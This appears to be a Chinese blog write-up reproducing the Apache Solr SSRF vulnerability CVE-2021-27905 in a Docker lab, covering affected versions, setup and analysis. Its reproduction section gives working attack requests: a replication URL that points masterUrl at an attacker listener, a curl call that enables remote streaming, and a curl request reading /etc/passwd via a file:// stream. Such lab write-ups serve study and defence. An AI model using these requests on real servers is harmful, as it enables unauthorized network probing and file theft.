Apache Solr SSRF(CVE-2021-27905)

Apache Solr SSRF(CVE-2021-27905)

0x01 漏洞简介

Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。
该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。

0x02 影响版本

Apache Solr 7.0.0 - 7.7.3

Apache Solr 8.0.0 - 8.8.1

0x03 环境搭建

docker下载运行环境:docker run -d -P vulfocus/solr-cve_2021_27905

访问8983所映射的端口就是网站主页

浏览器访问 http://192.168.237.129:49153,进入 Core Admin,点击 Add Core

点击 Add Core 会发生错误。
根据错误提示里的 new_core 路径

在这里插入图片描述

在终端中输入docker ps查看当前的容器,然后docker exec -it 3ce0b013a405 /bin/bash进入容,复制配置文件到core文件夹 -r:递归复制,用于目录的复制操作
cp -r server/solr/configsets/_default/conf /var/solr/data/new_core

再次进入网页,点击 Add Core ,即可创建成功。环境就到这里创建成功.

环境搭建完成。

0x04 漏洞分析

Apache Solr 8.8.2之前版本存在安全漏洞,Apache Solr 中的 ReplicationHandler(通常注册在 Solr core下的“/replication”)有一个“masterUrl”(也是“leaderUrl”别名)参数,用于指定另一个 Solr core上的另一个 ReplicationHandler 将索引数据复制到本地core。为了防止 SSRF 漏洞,Solr 应该根据它用于“shards”参数的类似配置检查这些参数。攻击者可利用该漏洞,传递特定参数,构造并执行服务端请求伪造,造成攻击者任意读取服务器上的文件,利用该漏洞可造成内网信息探测。

solr 支持配置两个core,分别是主(master)和从(slave),我们可以主动控制让从(slave)去获取主的备份,而master的地址在配置文件可以配置,也允许请求者指定。

这个漏洞需要将本地的Solr作为slave,默认solr就有多个core,这里选定任意一个db

在这里插入图片描述

限制:Solr 必须配置主从模式;受影响的是从(slave)服务器

0x05 漏洞复现

通过访问如下链接,可以看到当前的Core名称。

/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述

使用攻击机监听本地端口。

再根据刚获得的Core名称,访问如下链接,即可看到反弹信息。

http://192.168.237.129:49153/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.237.130:9999

在这里插入图片描述

在这里插入图片描述

结合刚获得的Core名称,访问如下链接,可得到以下该界面。

http://192.168.237.129:49153/solr/new_core/config

在这里插入图片描述

默认情况下,requestDispatcher.requestParsers.enableRemoteStreaming 是关闭的。

因此,首先利用 Config API 打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关。

curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.237.129:49153/solr/new_core/config

curl

-i 查看header头信息
-s 不输出统计信息
-k 使用能忽略证书不受信问题
-X 指定POST请求
-H 添加http请求的标头
-d 用于发送post请求的数据体

在这里插入图片描述

这就便可以进行远程任意文件读取了。

如利用 file协议 获得账户信息:

$ curl -i -s -k 'http://192.168.3.137:5000/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值